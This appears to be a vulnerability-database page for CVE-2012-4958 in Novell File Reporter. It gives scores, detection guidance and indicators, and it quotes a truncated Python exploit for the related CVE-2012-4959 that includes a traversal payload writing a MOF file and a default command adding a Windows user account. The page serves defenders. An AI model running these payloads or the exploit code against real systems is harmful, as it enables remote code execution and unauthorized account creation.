CVE-2012-4958
published 2012-11-18CVE-2012-4958: Directory traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to read arbitrary files via a 126 /FSF/CMD request with…
PriorityP266high7.8CVSS 2.0
AVNACLAuNCCINAN
EXPLOIT
EPSS
73.51%
99.4th percentile
Directory traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to read arbitrary files via a 126 /FSF/CMD request with a .. (dot dot) in a FILE element of an FSFUI record.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| novell | file_reporter | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandFSFUI130../../../../../../Windows/system32/wbem/mof/command.mof C:/Windows/System32/info.dat↗
- →Detect HTTP POST requests to /FSF/CMD or /SRS/CMD containing 'FSFUI' with UICMD value 126 and directory traversal sequences (../) in the body — this is the canonical exploit pattern for CVE-2012-4958. ↗
- →Monitor HTTPS traffic on port 3037 to NFRAgent.exe hosts for POST requests containing 'FSFUI' strings with traversal sequences (../../). ↗
- →Alert on creation of unexpected .mof files in C:\Windows\System32\wbem\mof\ — the exploit drops a WMI MOF file (command.mof) to achieve code execution via ActiveScriptEventConsumer. ↗
- →The exploit uses an MD5 authentication token computed as MD5('SRS' + <message body> + 'SERVER').upper() prepended to the POST body — look for this fixed-format prefix pattern in requests to /SRS/CMD. ↗
- ·The exploit targets NFR Agent versions 1.0.4.3 (File Reporter 1.0.2) and 1.0.3.22 (File Reporter 1.0.1); detections should be scoped to hosts running these specific versions of NFRAgent.exe. ↗
- ·The exploit code shown in DOC 3 is primarily for CVE-2012-4959 (RCE via MOF write); the file-read traversal path (UICMD 126) within the same script is the CVE-2012-4958 component — both share the same endpoint and transport. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
exploitdb·2012-12-12·CVSS 10.0
CVE-2012-4959 [CRITICAL] Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
---
# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit
import httplib, md5, sys
def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()
def genMof(command="net user abysssec 123456 /add"):
vbs = ""
vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
vbs += "\"objShell.Run \\\"cmd.exe /C "
vbs += command
vbs += "\\\"\""
mof = """
#pragma namespace ("\\\\\\\\.\\\\root\\\\subscrip
Metasploit
NFR Agent FSFUI Record Arbitrary Remote File Access
metasploit
NFR Agent FSFUI Record Arbitrary Remote File Access
NFR Agent FSFUI Record Arbitrary Remote File Access
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve arbitrary text files via a directory traversal while handling requests to /FSF/CMD with an FSFUI record with UICMD 126. This module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
No writeups or analysis indexed.
2012-11-18
Published